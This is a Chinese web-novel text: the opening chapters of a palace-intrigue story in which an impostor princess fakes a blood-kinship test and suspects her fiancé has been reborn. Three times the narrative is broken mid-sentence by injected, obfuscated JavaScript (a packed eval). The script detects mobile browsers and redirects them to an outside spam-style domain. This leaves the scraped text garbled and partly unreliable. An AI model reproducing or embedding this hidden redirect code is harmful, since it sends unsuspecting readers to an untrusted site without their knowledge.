《朕渣过的前任都重生了》 1. 危机 “宋丽娘,你身为公主竟弑父囚兄,牝鸡司晨,骄奢淫逸,穷兵黩武,屠杀忠良满门!其罪万死尤不足惜!” “余愿献祭魂魄,换重来一世,暴君曾辜负者全部重生,你将众叛亲离、不得善终……” 雷声闷响,六月夏至。 宋立娘自梦魇中醒来,昏昏沉沉,依稀记得梦中絮语相当渗人,具体内容却已模糊难觅。 现在,是宋立娘穿越到陌生朝代的第二十年,与北羽国皇帝认亲、成为八公主宋丽娘的第五年。 如今的这个身体自出生起,就被人扔到腊月冰河中溺死,然后换了她一个现代人的记忆思维过来。 是以宋立娘一直觉得,自己只是暂住其中的孤魂,终究不会长留于人世。 大雨忽至,窗外枝影乱颤,几点玉簪花瓣被狂风打落室内。 与这场午后暴雨一同来到的,是御前太监万公公:“圣上有请八公主。” 宋立娘的眸色暗了暗。这么大的雨,都要叫人过去,必然是荣辱攸关的大事。 ——比如,当年自己顶替了别人身份,假冒皇室血脉的事情。 可是,最后一个知情者已经死于三个时辰前。 那时,御花园东角隐蔽在假山后的池塘里,微风徐徐,一池荷花摇曳,水面波光粼粼。 一瓣荷花恰好乘风而下,落在泡得发胀的浮.尸头顶。尸.体还穿着尚食监的衣服,死不瞑目,仿佛没想到会被看似弱小的傀儡公主所杀。 宋立娘用右脚将浮.尸完全踩入水中,圣上新赐的雀金锦翘头履被浊水打湿。 早上闷热多云,午后必然下雨。皇宫的水系纵横相连,大雨能把御花园池塘的尸.体冲入地底,从宫外护城河流出。 此事还能有什么遗漏? 宋立娘随万公公到来时,皇帝素日办公的文德殿紧闭着门扉,宫侍们都静候在外。 坐于紫檀浮雕云龙纹宝座上的黄袍男人略显疲惫,而堂下只跪着一个老妇。 为何荆钗布裙的老妇会出现在这? “皇、皇上!”老妇哆哆嗦嗦道,“民妇记得千真万确,当年给贤妃娘娘接生时,娘娘生下的……乃是一个男孩!” 宋立娘瞬间感到手脚冰凉。 惊雷骤雨间,闪电照彻一堂惨白。 殿内几人齐齐将审视的目光投向贤妃所生的八公主。 年轻的女娘似乎被打击到原地怔愣,好一会儿,才慢慢啜泣起来,不甘心地质问:“父皇,您让儿臣冒大雨过来,就是为了赶走儿臣?” 皇帝无奈扶额,抬手招呼她坐下:“不是要你走,是要查清事实。” 万公公呈上一小片木条给宋立娘看,木条上赫然写着一首小诗:“皇子有难,流落民间;遭逢不幸,偷龙换凤;欲寻证人,白石三里;拨乱反正,转危为安”。 宋立娘隐没在宽袖中的手,悄悄捏紧了衣角。 明显是知情人才能写得如此详细。 “今早朕得到了消息,差人去寻,才知道京郊白石巷三里住的人家就是当年的稳婆,朕已派人核实过了。当年,朕携贤妃微服私访,南楚刺客作乱,朕被困山野,害得贤妃在客栈独自生产,皇嗣流落民间……唉!朕还没告诉贤妃,怕她担心,朕如今只想要一个真相。” 皇帝说着,探查的目光来回在稳婆和公主之间游走。 宋立娘明白,皇帝也对她起疑了。 “若有谁扯了谎,朕希望她尽快承认。”皇帝道。 一阵度秒如年的沉默。 宋立娘先打破僵局:“稳婆你当真没记错?那就是看错了?” 老妇害怕到声音颤抖:“民妇、民妇不敢欺君!民妇一辈子只服侍过这么一位贵人,想忘都难啊!当时娘娘没力气睡过去了,民妇上手洗了那娃娃的血渍,摸过他那处,确实是男孩!” 宋立娘佯作疑惑地问:“这么一位贵人?何以见得呀?” 老妇回答:“娘娘与民妇这些乡下泥腿子完全不同,娘娘那时穿戴富贵,京城口音,住的还是最贵最好的客栈……” 宋立娘打断她:“穿戴富贵,是如何富贵?什么衣衫?什么发饰?什么颜色?你都能记得吗?” 民妇的汗水打湿后背,迅速磕头:“皇上恕罪!民妇记不得了!但是娃娃的性别乃是大事,民妇不会记混!” 皇帝听得神色凝重。 这个稳婆实在让宋立娘觉得棘手。一般情况下,高度紧张加上连续性逼问,很容易动摇谈判中的对方。 既然稳婆那么坚持,就得为性别不符找个借口。 “莫怕莫怕,也不一定是你的错啊。”宋立娘语气舒缓,意在宽慰妇人的恐慌,“我听母妃说,我是早产儿,可能我的身子本来就没发育好,加上出生时受到挤压,阴器会变得肿胀起来。还有,接生那时刺客追杀到了客栈是吗?” “接生很太平,就是民妇洗娃娃的时候,值守外头的后生人突然说来了刺客,让民妇拿钱就走……” 宋立娘道:“极有可能因为婴儿的阴器肿胀,加之害怕刺客,太紧张了,才让你误以为是个男娃娃。” 老妇还没答话,上首的皇帝先抚掌惊呼,愁容舒展:“哦!有可能啊!” 老妇见状附和:“是,是,应是如公主所言。” 没等宋立娘放下提起的心,门外传来宫人的通报。 “三皇子求见!” 宋立娘蹙起眉头,三皇子可是一条睚眦必报、见人就咬的疯狗,特别对自己紧追不放,只因过去曾坏过三哥哥的几桩“好事”。如果他也卷入此事,只会十分难缠。 滂沱雨声随金丝楠木隔扇门的开合渐大渐小。 一个青年男子才刚踏入文德殿,皇帝就用力掷出那根写有密信的木条:“蠢货!根本是个误会!你要害了你亲妹妹不成?” 从这句话来看,木条就是三皇子献给皇帝的。 木条落在三皇子脚边,他瞪了一眼仍好好坐着的宋立娘,又下跪恳求:“父皇,无风不起浪,儿臣只想谨慎为上!若说误会也太巧了,而且八妹面相和父皇一点不像,心性幼稚,举止也粗蛮,哪有天龙血脉的样子?儿臣斗胆,还请父皇下令,准御医为您和八公主再行检验!” 三皇子这一跪,站在他身后的御医才显露出来。 御医的手中端着一碗清水。 滴血认亲? 当初宋立娘刚被带回皇宫时,便做过滴血认亲,全靠今晨死去的太监胡耀帮她过关。 如今毫无准备,滴血认亲恐怕难成。何况现代科学早就证明这土法子不准确,连亲生的都不一定能血液相融。 宋立娘只能赌一把,赌皇帝想不想终止这场闹剧。 于是,她一拍桌案,猛地站起身,委屈到眼圈发红:“我回宫第一日已经滴血认亲三次,三皇兄不信太医院吗?还是说纯粹看不惯我?好,我明日就打包行囊回南边流浪!” “你是怕了吧?”三皇子不怀好意地打量她,言语间那份恶意,直直冲着流民出身的八公主宋丽娘去,“穷生恶计,有些贱民为了攀上高枝,不顾廉耻礼仪,什么事都做得出。” 缩在角落的老妇大受惊吓,将头伏到了地上。 “够了!” 居中调和的皇帝很是烦躁,他令老妇退下,然后揉着眉心道:“你们两个验!往后确认了是亲兄妹,就不准再内斗,叫天下人看皇家笑话!” 御医上前一步,木盘所托的青瓷碗近在咫尺,碗中水面如镜,照出宋立娘的面容,摇摇晃晃,光影幽暗。 这回看起来赌输了。 心乱如麻间,宋立娘偶然看见御医和三皇子对了个眼色。 她略微定了定心神,上前取针,扎了一滴血。 三皇子痛快地也扎了血,接着激动地指着碗底喊道:“没融,没融!我就说了,这臭丫头果然是假冒皇嗣……” 三皇子的声音戛然而止,因为宋立娘又挤了一滴血。 三滴血清清楚楚地待在碗底,互不侵扰。 “为什么连我自己的血都不融?”公主不解地歪头,以手指沾上碗内清水,舔了舔,十分惊奇,“血难道是咸的吗?” 皇帝也已站起,目睹了全过程,脸色阴沉。 御医当即跪地求饶:“圣、圣上,圣上恕罪!想必是使唤医徒盛水时不小心混了盐卤,血入盐卤而不溶,是微臣失察!请圣上责罚!” 很明显是推了实习生背锅。 “蠢货!”皇帝似乎真的信了这番说辞,并未深究。 他骂完御医,就头疼地坐下,食指一点身边的万公公,“你,再拿碗水来。” 哪怕是这样,皇帝都不肯放弃滴血认亲? 宋立娘坐回黄花梨木圈椅,背靠软枕,与殿内几人一同陷入焦灼的等待。 那个死太监说过什么来着? 记忆里的胡耀狰狞着脸上横肉:“可不要忘了,当初要不是我好心带你回宫,冒欺君之险加了明矾伪造滴血验亲,你如今,还只是地里刨食的一条狗!” 眼下怎么可能找得到明矾。 莫非已经步入无法破解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599298|172002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的死局了么? 大雨如银河倒泻,拂落千枝海棠,花影斑驳陆离,摇碎了窗纱投在藏蓝色莲花纹地毯上的稀薄天光。 桌案上的青铜松鹤衔果博山炉,燃着清淡的苏合香,烟尘袅袅向上消散,昭示着时间的流逝。 新一碗清水终于被端了来,三皇子笑着嘲讽:“八妹,结果出来可别哭得太大声!” 宋立娘狠狠地斜睨他一眼,一把抓起银针,泄愤式地扎了好些个针口,一串鲜红的血痕自指尖爬过手腕,触目惊心。 三皇子也紧随其后,取血滴下。二人同万公公一起静静注视着水面,等待最后的审判。 皇帝见无人反应,心急地走出书桌,近前来查看:“什么结果?” 万公公把水端近万岁爷跟前:“皇上,八公主与三皇子确是亲兄妹。” 青瓷碗内,两滴血彼此相融,连为一体。 “我以后再也不要理三哥哥了!” 宋立娘气得用力跺脚,还未止血的手指滴滴答答向下淌血,地毯被染出几朵墨花。 皇帝龙颜大怒:“你给朕滚去三清堂斋戒,什么时候心里有了手足之情,什么时候再滚出来!” 三皇子铁黑着脸,没说话,转身就离开了。 宋立娘的视线不经意扫过那尊青铜博山炉。 刚才她坐在圈椅上,偶然瞥见身边摆放的香炉,灵光一闪,想起了现代的一个化学小知识—— 铜离子可以破坏红细胞膜,进而导致溶血,看起来就像两滴血相融了一般。 于是在等万公公送水期间,宋立娘借宽大衣袖遮挡,手指悄悄捻了少许香炉上的铜锈,取血时将伤口刺深、刺多,好流出更多血液,掩盖她趁机混入其中的铜锈。 旷日持久的夏雨,此刻总算停歇。 “父皇,难道不该罚背后乱嚼舌根子的人吗?是谁把木条送给三哥哥,挑拨我们兄妹关系的?”宋立娘趁机发问,试着找出幕后真凶。 “唉呀,此次是朕与你三兄不对,可让丽娘吃苦了!万公公,快传院判来为公主诊治!”皇帝心虚搓手,柔声哄爱女,“老三也是意外得了那木条,不知谁送的,依朕看,告密的人肯定也未料到是一场误会!念在他忠心为国的份上,就罢了,不追究好不好,丽娘?” 又是这样,这老皇帝惯是“仁慈”心肠。 想当初,御前太监胡耀酷爱纵.欲,弄死十来个新入宫的幼童,闹得沸沸扬扬。哪怕羽国律法规定,蓄意杀三人以上判腰斩重刑,皇帝还是念及胡耀多年侍奉的旧情,罚他从司礼监贬至尚食监。 在皇帝那里,十几条贱命,只能换来一次贬职。 直到今日,胡耀私下约见宋立娘,威胁八公主将身边未满十二岁的宫人送去伺候他,宋立娘才终于找到合适时机,杀死了依照律法早就该死的畜生。 宋立娘千思百绪,面上却是乖巧答应:“唔好吧,但是父皇,您要多补偿我点好东西哦!新进贡的东海珍珠留给我吧?” 夜色浓浓,八公主的春杏阁只剩下蝉鸣喧嚣,缀二三青果的枝叶悄悄探进双交四椀菱花窗,残留的雨露滚过杏果表皮,无声砸下。 侍女修竹动作轻柔地为公主解开发髻,松一松紧绷的头皮。 朦胧烛光里,宋立娘看见镜中的女娘正值少年,红扑扑的圆脸,乌漆漆的发丝,豆蔻色的襦裙,如春江拍岸般朝气盎然。 修竹笑眯了双眼:“明日梳双环髻吧,殿下最适合双环髻了。” 若非知道修竹是别人派来的卧底,这孩子当真表现得无害。 “对了殿下,午后尚食监送来一盘冰镇杨梅,殿下可要作宵夜吃?” 修竹拿出一盒冰鉴,宋立娘不由得微微瞪大双眼——白天那片告密木条的形制,与皇宫冰鉴木盒所用的材料一模一样! “是谁送来的?”宋立娘看似随意地问。 修竹道:“尚食监小李子。” 小李子是胡耀在尚食监收的徒弟。 宋立娘取出一颗杨梅仔细端详:“小李子送冰食?他往日不是传膳的吗?” “是啊,仆也这么问他,小李子说,是胡司膳叫小李子今日给几位皇子公主送冰食,今早还送过冰镇荔枝给入宫的燕公子呢。”修竹提及此人,在八公主面前带了几分八卦调笑的意味,“太后娘娘特别赏赐了新进贡的荔枝给燕公子带走,殿下,您往后出宫玩可有荔枝吃了呀!” 宋立娘心下暗道,燕袖? 燕袖今年十八岁,是抗楚小将军、太傅嫡长孙,也是八公主的定亲对象。 2. 竹马 听闻燕袖自小在南部边境长大,年少时他以少胜多,击退了偷袭的楚国大军,一夜成名,意气风发。 后来,燕袖放下征战,选择尚公主时,也是骑在八公主小院子的墙头上,在杏花烂漫中,笑得开怀:“搁我眼里,不管虚名还是实权,甚至都比不上春杏阁的一口清茶,尚公主才是燕袖今生最大的荣耀。” 如果燕袖收到告密诗,不可能一点动静没有,至少会禀报他的祖父太傅,而且宋立娘觉得,他很可能也会告诉自己。 也许胡耀认为,准驸马会为了保住尚公主的荣华富贵而包庇八公主,所以跳过了燕袖? 可胡耀是司膳,负责统筹菜品瓜果供应,如果他不想向燕袖告密,为何指定小李子负责送燕袖的冰食? 宋立娘指间的杨梅黑红饱满,挂着冰块融化成的水珠,折射出不详的光。 这杨梅,可是不敢吃了。 宋立娘假装兴致恹恹,早早上床歇息。 红烛熄灭后,黑夜里却睁开一双清明的眼睛。 她想不通的地方还有很多。 如果告密的冰鉴木条真是胡耀所为,胡耀就需要在来御花园之前掌握稳婆的线索,并完成告密诗的抄写,那为什么胡耀在威胁宋立娘时,闭口不提此事? 又或者,其实是三皇子利用胡耀,贼喊捉贼?可那只疯狗向来直接害人,没有如此心机手段。 如今看来,唯一的线索只剩下小李子送的冰鉴。 困意上涌,宋立娘来不及细想,再次跌入情景可怖又转瞬忘却的梦魇。 翌日。 暑气躁动,杏树林荫漏下万千碎金,时有早熟的杏果簌簌掉落。 一位俊美男郎身着宝蓝色箭袖蟒袍,扎了高马尾,就着一张竹席、一条榻几,坐于林间独弈,他侧脸高耸的眉骨投下一片阴影,看起来竟有几分落寞。 燕袖年前因着府内人多吵闹,从太傅府独自搬了出来,这还是宋立娘头次造访燕袖独居的宅院,不成想这里也种了一片杏林,乍一看还以为回到了春杏阁。 更意外的是,她从没见过燕袖如此情绪消沉,向来裘马轻狂、洒脱不羁的家伙也懂得烦恼为何物了? 棋盘已是残局,黑棋遭白棋围追堵截,燕袖迟迟不能落子。此时,一只手倏忽闯进棋局,抓住他举棋不定的手指落下黑子,一子解双征,白棋瞬间满盘皆输。 燕袖顺着那只手向上看去,先是翩飞的藕色衣袂,再是如月的一双笑眼。 宋丽娘眉眼含笑,微微弯下腰,伸出一根食指到燕袖眼下的一团乌青前,虚虚绕着乌青边缘画了个圈:“没睡好?” 燕袖摇头,岔开话题:“丽娘为何突然来了?” 因为尚食监那边的眼线打听消息需要时间,所以宋立娘决定,先来探探燕袖的口风,毕竟他也收到了小李子送的冰鉴。 “我不来,燕哥哥想要一个人下棋?”宋立娘随意坐到竹席的另一头,胳膊肘支在榻几上,单手托腮,冲燕袖调皮地眨了一下左眼,“别怪门房,我特意让他们别通报的,给你个惊喜。” 燕袖鸦睫低垂,注视着黑子全胜的棋盘:“昨日寿宴,祖父与同僚们下棋博弈想出来这盘残局,但是我们谁都找不出解法。” “难道说,我下棋比那些老人家都厉害了?”宋立娘不好意思道,“燕哥哥可不要变相夸我,我都要害羞了。” 燕袖对她的一番谦虚回以微笑,观察到女娘额间一闪而过的水光,下意识想用袖口为她拭去薄汗,抬起手腕时又生生止住,转为一句问候:“丽娘觉得热?可需要我吩咐厨房弄一碗冰镇酸梅汤来?” 宋立娘有点起疑,燕袖往日习惯直接给自己擦汗,今日这么拘谨,还真是古怪。 怀疑都藏在了心底,宋立娘表面上毫无异样:“酸梅汤不行,我来前灌了好几碗,腻味了!燕哥哥这儿有什么冰食,不如我自个儿挑吧?” 燕袖便叫了个正在洒扫厅堂的小厮出来,领八公主去地下冰窖。 宋立娘在冰窖里假意犹豫,兜了半圈,才发现皇宫尚食监的冰鉴,于是特意支开小厮:“我可能还要挑一会儿,你先回去吧,我记得怎么走,别耽误你做工了哦。” 小厮不敢不随身侍奉公主,宋立娘还是坚持,小厮也只好唯唯诺诺地退下了。 今日燕袖的作风,说奇怪是有些奇怪,可如果他真的看见过告密诗,这种心情低落、态度疏远的反应也不大对。正常反应是多方求证信息真假才对,就像皇帝一样。 怀揣着心头困惑,宋立娘掀开了冰鉴的盒盖,只见里头静静躺着一大串新鲜的荔枝,混杂晶莹剔透的冰块,盒内木条光洁如新。 没有? 宋立娘不信邪地把荔枝与冰块倒出来,又仔细看过冰鉴外表面,仍是找不到任何字迹。 告密者顾及燕袖是未来驸马,没有向他告发? “丽娘?”清越的年轻男声自冰窖入口传来。 宋立娘回头望向身后台案,上面狼藉地堆着大把荔枝与冰块,被发现的话实在不好解释原因。 “丽娘?你还在这吗?” 燕袖踩着梯子下到冰窖中,昏暗的光线照亮无数浮尘。 冰窖深处传来噼里啪啦的连续响声,燕袖冲向声音来源,只见瓜果散落、碗盘倒翻,地上堆成小山的杂物中伸出一只颤抖的手。 “丽娘!”燕袖扒开冰块瓜果,将宋立娘拉了出来,“可有受伤?” 宋立娘一瘸一拐地走了几步,疼得龇牙咧嘴,待见着燕袖的脸又心虚了:“燕哥哥,我不是故意的,我只是想去够架子上的酥山,一下没站稳,带翻好多东西……” 燕袖叹气:“你还伤着,就别道歉了,来,我背你上去。” 宋立娘坚持自己扶墙慢行:“不用了,我又不是不能走。” 因为她不是真的崴脚。 在右脚的鞋底里正藏着一片木条,走路会不自然,才特意假装崴脚。 刚才时间紧急,燕袖即将到来,宋立娘无法慢慢收拾荔枝与冰块,只好故意打翻其他东西,来掩盖翻找冰鉴的目的。 冰鉴空盒自然也被推翻在地,然而这一落地,反倒掉出了写有告密诗的木条。 原来,皇宫冰鉴由两层木条构成,告密者挖出了一片小木条,在背面以不溶于水的墨写就告密诗,再用薄冰充当粘合剂,将木条重新粘回冰鉴。 盒子表面薄冰未融时,很难看出异常。只要有人拿出冰鉴来吃其中食物,盛夏酷暑,到达一定时间后,木条就会因冰化为水自动脱落。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599299|172002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 好一招定时告密机制,连送冰鉴的小李子都在防。 冰鉴木盒与地面撞击时,覆盖表面的薄冰被磕破,那片特殊木条恰好掉出,宋立娘眼疾手快地捡起木条,就近把它藏进鞋底。 宋立娘没走两步,眼前便天旋地转起来。 是燕袖将她打横抱起,而后又放她坐在空置的案台一角。 燕袖背起了她:“强行走路,伤势会更严重。” 宋立娘只好从善如流地环住他的脖颈,看燕袖一手抱着自己,一手攀住梯子,步步向上,靠近光亮的出口。 “燕哥哥还记得吗?两年前我贪玩掉进了大坑,也是你这么背上去的。”宋立娘的语气雀跃灵动,好似溢出来的蜜汁,“然后你第二日就来春杏阁,跟我说想要尚公主,和我永远在一起。” 宋立娘先是感觉燕袖爬梯子的动作停滞一拍,而后才听见他的回应传来,由于指腹正贴在他脖颈的皮肤上,还能感受燕袖说话时喉结的微微震动: “是啊,只过了两年,我却感觉,恍若隔世一般……” “要是时间永远停在那一刻就好了。” 宋立娘最后好像听见燕袖用压低的气声,若有似无地说了这么一句话。 可惜她看不见燕袖的脸,不知道燕袖是否真的说了,也不知道他说话时的表情。 他也看不见宋立娘的脸,自然同样不知道,方才宋立娘语气甜蜜地回忆过去时,面上却是冷漠淡然,割裂得仿佛两个人。 因为宋立娘只想借此试探燕袖对她的态度。 而燕袖,确实是不同以往了。 几天后,宋立娘收到了尚食监眼线传回的消息。 尚食监发现胡耀失踪,上报了内侍省,但是胡耀被贬职后失了圣宠,加上以前嚣张跋扈、得罪的人多,查起来很麻烦,内侍省那头的意思是暂且搁置。 眼线趁着胡耀失踪的档口,打听他那一日的行踪,才知道胡耀吩咐小李子送冰鉴时没亲自出现,而是用纸条留言。 宋立娘觉得,应该是告密者刻意模仿胡耀笔迹。 皇宫内的冰鉴盒子在使用完后,都要送回尚食监重复利用,但那天送给三皇子的冰鉴始终没有送回,三皇子声称是因为冰鉴已损坏,直接扔了。可见,三皇子就是从冰鉴上得到的告密木条。 眼线还传回一个重磅消息:小李子在胡耀失踪当天,统共把冰鉴送给了四个人,除去燕袖、三皇子、八公主,还有一个人—— 是太子。 太子那日送回的冰鉴究竟是哪一个,已经无从追究。因此也就无法知道,太子究竟是没发现告密诗,还是若无其事地拿走告密木条后,又将冰鉴送回尚食监? “殿下,燕公子来送了一封信给您。”修竹走入殿内,递上来一封信。 “他已经走了?”宋立娘接过信,这还是第一次见燕袖居然要靠书信与她说事,而非亲自面谈。 “是,燕公子交了信便走了,兴许是有急事?”修竹说着,打趣起来,“或是有什么情话,不敢当面同公主说,羞得慌!” 宋立娘正读着信,对修竹报以不置可否的微笑,而后合上信纸:“修竹可谓料事如神,真被你猜中了呢!” 燕袖在信上说,要与八公主解除婚约。 3. 重生 如果仅仅是发现了一首质疑公主身份的告密诗,至于让燕袖有如此大的反应吗?不求证过信息真伪,便要着急解除婚约? 滴血认亲之后,宋立娘一直派人盯着白石巷三里处的稳婆,并没有可疑的陌生人去接近稳婆、打探公主出生的消息。 燕袖在信中说的“身份卑微,不敢高攀”“厌倦皇家礼节拘束”“恳请公主退婚”云云,宋立娘是一个字都不会信。 一定是另外发生了什么宋立娘不知道的事,才让燕袖性情大变。 宋立娘不由得开始回忆起来,自己在去燕袖宅院寻找冰鉴前,燕袖有何异常表现。 对了,有天燕袖忽然说,他做了一场噩梦。 正是在宋立娘杀死胡耀,又遭身份泄露的当天。 太液池的湖心亭乃是重檐攒尖顶六角凉亭,形制庄严,亭边种满了丁香花海。 开在盛夏的暴马丁香,如云似雪,层层堆叠,能笼住一夏清凉。 燕袖每次入宫,最喜到这处打盹,倚一段幽幽暗香入眠。 那一天,宋立娘杀死胡耀后,拎起随手放在旁边假山上的一袋杏果,跑去太液池找燕袖游玩。 宋立娘本想像往常一般,悄悄靠近熟睡的燕袖,揪红他的耳垂,等燕袖自梦中痛醒,会无奈又好笑地说一声“喂”,再轻轻揉乱她的额发,以作报复。 然而,她凑近后才看清,燕袖竟在梦中哭了。 布袋里的杏子,因为宋立娘动作的突然停顿,滚落两三颗下来,青涩涩的。 “丽娘……?” 果子滚落的声响惊动了俊美男郎的梦,燕袖悠悠转醒,面上已是泪痕阑干。 那一刻的他,仿佛有深入骨髓的伤痛,激动地握住宋立娘的双肩,语气哽咽:“丽娘,我做了个噩梦,我梦见你,后来的你与我……” 说到此处,燕袖忽然低头垂泪,再也不说话。 宋立娘索性拿出一颗脆杏子,直接塞入了他口中。 “燕哥哥,这是我院儿里杏树的头一批果,你不是说一定要在今日带给你尝尝吗?”宋立娘歪头笑道,“甜不甜?” 燕袖松开了握住女娘肩膀的手,拿起杏子,咬掉了一块果肉。 杏子有些生涩,汁水也不多,但他抹去了脸上泪痕,说:“甜。” 酷暑燥热,丁香花的香气馥郁而不甜腻,混杂了杏果的清香,慢慢弥漫。 宋立娘继续笑着,靠近面前人的耳畔:“偷偷跟你说件事。” 她快速揪住了燕袖的耳垂,将对方拽得更靠近她,才大声喊道:“你吃的果子没有洗哦!” “喂!”燕袖无可奈何地捂住那只耳朵,耳垂红得发紫,衬得他肤色粉白如脂。 宋立娘早就在干完坏事的一瞬间跑开了,边跑边回头做了个鬼脸,嬉笑着喊道:“对了嘛,这才是我认识的燕哥哥!” 燕袖怔了怔,释然一笑,将手中的杏子抛高又接住,啃了第二口,慢慢追上公主的步伐:“跑快点,小心被我逮住了。” 夏有长日,浮生偷闲。 当时宋立娘对燕袖古怪的梦不以为意,现在想来,甚是诡异。 因为她从那天开始,也总是反反复复为梦魇所困。梦中情绪翻腾如海,可怖、可悲、可恨、可笑,数种痛楚层层叠加,不亚于刮骨噬心,醒来后却记忆全无。 难道说燕袖的梦魇与她相同?不,燕袖显然是记得梦境内容的,而且梦境内容与宋立娘息息相关。 为何上次自己问燕袖是否没睡好,燕袖要立即岔开话题?他到底为什么,不想让宋立娘关注到这一点? 莫非,燕袖正是因为这些与宋立娘有关的梦魇,才辗转失眠,有了乌青的黑眼圈? 宋立娘静静思考,无意识地摩挲着手中燕袖送来的信笺,字迹隽永,然而连笔甚多、下笔力度变化大,可见写信者的心境紊乱。 什么梦会让人惊慌难过?那就是最害怕发生的噩梦。 什么梦会让人改变决定?那就是即将发生的预知梦。 这种想法实在是太过玄幻了。但是连穿越都亲身经历过,宋立娘没有办法说服自己去忽略任何有可能的意外。 毕竟她的目标,绝不仅仅是揪出告密者,保住皇室公主身份这么简单。 宋立娘想登上帝位,以女子的身份。 在这个落后封建的时代,女子称帝简直是冒天下之大不韪,但是她不可能妥协。 因为她代表的不是自己,而是一个早就被亲人溺.死在冰河的女婴。 封建王朝中,对女子施加的残忍迫害随处常有,如果选择麻木,只会有更多女婴被习以为常地溺.死。 每次修竹为八公主梳发时,宋立娘坐在镜子前,都好似在和一个陌生人彼此对视。陌生的女娘为她送来了身体,送来了新生,却来不及留下一个姓名,便匆匆离去。 既然碰运气有了皇室公主的尊荣,自然要将之用作抗衡时代的底气,先登临帝位,再力行朝廷新政,彻底改变古代女子的困境。 哪怕是蚍蜉撼树,她也要人定胜天。 “修竹,最近我不是老做噩梦嘛?我想去书肆看看,找些解梦的书。” 宋立娘与修竹出宫兜了一圈,带回来一堆有关做梦解梦的典籍。宋立娘苦读半天毫无所获,就在觉得自己真是想太多时,一本没有写明书名的旧书映入眼帘。 当时在书肆旁边的集市上,还有一家旧书摊,宋立娘觉得民间杂书有更多小道逸闻,说不定也有参考意义,便让老板将志怪奇异相关的书全部打包,买了下来。 这本无名之书,应该就是被夹杂在其中带回来的。 翻开扉页后,宋立娘心下一惊——这是一本记载民间巫术的禁书! 她面无表情地合上,确认周围洒扫庭除的宫人并没注意到自己,偷偷将书放入衣服夹层,又藏到床榻的枕头底下。 直到深更半夜,外头值守的内侍都打起了盹,宋丽娘才敢悄悄起身,点燃半截红烛,就着窄小的一团光明,研读起这本书。 其中记录的巫术多种多样,大多都是装神弄鬼的骗术,宋立娘看得大失所望,直到一行文字跳进视野—— “河水倒流,白骨回春,负前世之人,受来世之苦。” 这记载了一个名为“续前尘”的古老巫术。只要施术者用自己的鲜血画就特定法阵,并从此死去,向天地献上魂魄,那么就可以换取轮回往复、重来一世的机会。 施术者所诅咒的对象,不会保有前世记忆。而前世诅咒对象曾辜负真心的所有人,则能清晰记得前世记忆。诅咒对象将亲历众叛亲离、孤立无援的痛苦。 就这? 宋立娘觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599300|172002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这个巫术效果相当鸡肋,甚至还不如咒人家头顶生疮、脚底流脓来的痛快。 而且,“辜负”的概念很模糊,万一诅咒对象是个严惩罪犯的清官,被清官杀死的恶人也算被辜负吗,能重活一世吗?那岂不是便宜坏人、伤害好人了? 宋立娘再想继续看下去时,发现下一页不知被谁刻意撕了去。 对于“续前尘”巫术的介绍,只剩半句不知所云的“被辜负者须知,来世再”…… 宋立娘合上书,陷入沉思。 重来一世,被辜负的人保留记忆,那不就是网络小说里面流行的重生?! 如果“续前尘”巫术真的有效,且已经实施,那么她目前的处境就相当不利,甚至可以说命悬一线。 不管宋立娘未来成功登基与否,重生者肯定都知晓了她的目标,并且很可能提前走漏消息。 从目前身边人的表现来看,最有可能重生了的人,便是燕袖。 “我做了个噩梦,我梦见你,后来的你与我……” “只过了两年,我却感觉,恍若隔世一般……” “要是时间永远停在那一刻就好了。” 如若燕袖重生了,他当然知道宋立娘想谋权登基。燕家又是太子母家,燕袖作为太子表弟更是天然的太子党,未来,他势必与宋立娘分道扬镳,甚至还可能反目成仇。 说不定,宋立娘自己正是“续前尘”的诅咒对象,因此才让被辜负了的燕袖重生。 重生归来的燕袖,选择解除婚约,也是选择站在了宋立娘的对立面。 思及此,宋立娘的眸光陡然转冷,加上长发披落,脸色苍白胜霜,暗夜中,好似幽冥鬼魅偷渡人间。 一本旧书被置于烛火之上,火舌发现了它的到来,立即开始如饥似渴地大口吞吃。发黄的纸张寸寸蜷曲焦黑,最终落为尘灰,御风长辞。 今夜无眠。 更深露重,繁星低垂,檐下一盏画了荷塘鹭影的蚕丝竹灯,被三五飞蛾撞得来回晃荡。 燕袖立于高楼之上,凭栏远眺,夜色掩映下,独自望远的身影更显凄清。 这段时间以来,寿宴上研究出的棋局、八公主破局的棋招、甚至是太监胡耀的失踪……桩桩件件,都与燕袖梦中见闻一模一样。 无法否认的现实,让燕袖再也不能自欺欺人——那不是梦,是他曾真真切切活过一遭的前世。 只有偷龙换凤的传闻不同,在前世,这一流言是宋立娘登基后流传开的,在今生,竟然现下就有人向他告密。 不过那告密的东西,也被丽娘拿走了。 